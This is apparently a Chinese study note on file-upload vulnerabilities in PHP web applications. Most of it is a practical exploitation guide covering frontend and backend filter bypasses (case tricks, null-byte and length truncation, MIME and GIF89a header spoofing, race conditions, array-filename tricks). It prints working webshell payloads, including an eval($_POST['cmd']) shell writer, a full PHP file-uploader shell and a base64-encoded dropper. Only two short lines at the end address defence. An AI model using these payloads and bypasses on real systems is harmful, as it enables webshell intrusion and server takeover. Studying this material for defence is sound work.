一、漏洞介绍

upload:文件上传

web应用提供上传功能,如图片、视频、文本文件等各种类型文件。用户可上传webshell,执行系统命令、读取敏感文件、拿到系统权限、控制服务器。

 

二、产生原因

未对用户上传的文件进行严格的过滤和限制。

 

三、漏洞危害

  1. 执行系统命令
  2. 读取敏感文件
  1. 拿到系统权限
  2. 控制服务器

 

四、应用场景

所有提供上传功能的地方。

 

五、漏洞利用

1. 操作

上传websehll,访问页面或连接工具。

2. 绕过

前端

2.1 js绕过

上传白名单文件,抓包修改后缀。

 

后端

2.2 黑名单

大小写、双写、加点加空格、windows特性、特殊后缀等……

windows特性:::%DATA

特殊后缀:phtml、php2~5

 

2.3 白名单

00截断:

条件:php < 5.3.4、magic_quotes_gpc关闭

GET方法:/xxx.php%00

POST方法:xxx.php空格,HEX16进制修改空格(20)为00

 

长度截断:

.........

/././././

windows大于256,linux大于4096。

 

MIME:

修改contect-type

 

2.4 内容绕过

文件头检测:在请求体开头加入对应的图片头(GIF89a)

 

二次渲染:待加入……

 

条件竞争:上传webshell:

<? php fputs(fopen('shell.php','w'),'<? php eval($_POST["cmd"]); ?>'); ?>

结构:fputs(打开文件,'写入内容')

fopen('文件','打开方式')

w:写入方式打开,清除内容,如不存在则创建文件。

 

2.5 代码审计

自定义文件名+黑名单:

move_uploaded_file() 函数将上传的文件移动到新位置。

自定义文件名后缀加'/.',move_upload_file函数会忽略末尾'/.'。

 

自定义文件名+数组拆分:

if(!is_array($file)){$file = explode('.',$file);}

检测数组,进行拆分。

$ext = end($file);

$allow_suffix = array('jpg','png','gif');

if (!in_array($ext, $allow_suffix)){$msg = "禁止上传该后缀文件!";}

检测后缀

$file_name = reset($file) . '.' . $file[count($file) - 1];

拼接文件名

 

主动上传数组

抓包,在请求体文件名下复制一段,

name="save_name[0]"

[空行]

xxx.php

name="save_name[2]"

jpg

满足后缀条件

jpg需要是save_name[2],如果为1,文件名会有双后缀。

 

3. 上传马

3.1 代码执行

创建上传马

<?php fputs(fopen(shell.php,w),shell内容); ?>

由于是利用post传参,不能出现运算符号。编码后检查,如果有运算符号,再编译一次。

fputs(fopen(base64_decode(),w),base64_decode(base64_decode()));

<?php

$temp = $_FILES['upload_file']['tmp_name'];

$file = basename($_FILES['upload_file']['name']);

if (empty ($file)){

echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";

echo "Local file: <input type = 'file' name = 'upload_file'>\n";

echo "<input type = 'submit' value = 'Upload'>\n";

echo "</form>\n<pre>\n\n</pre>";

}

else {

if(move_uploaded_file($temp,$file)){

echo "File uploaded successfully.<p>\n";

}

else {

echo "Unable to upload " . $file . ".<p>\n";

}

}

?>

访问上传马(在同级目录下)

 

3.2 命令执行

通过系统命令echo创建一个上传马

system(echo shell内容>绝对路径) or 直接写文件名在当前同级目录下创建

这里注意<、>、&这三个字符在CMD命令行中有特殊意义,需要在前面加 ^ 进行转义。

 

六、防御与修复

通过白名单的方式判断文件后缀是否合法

对上传后的文件进行重命名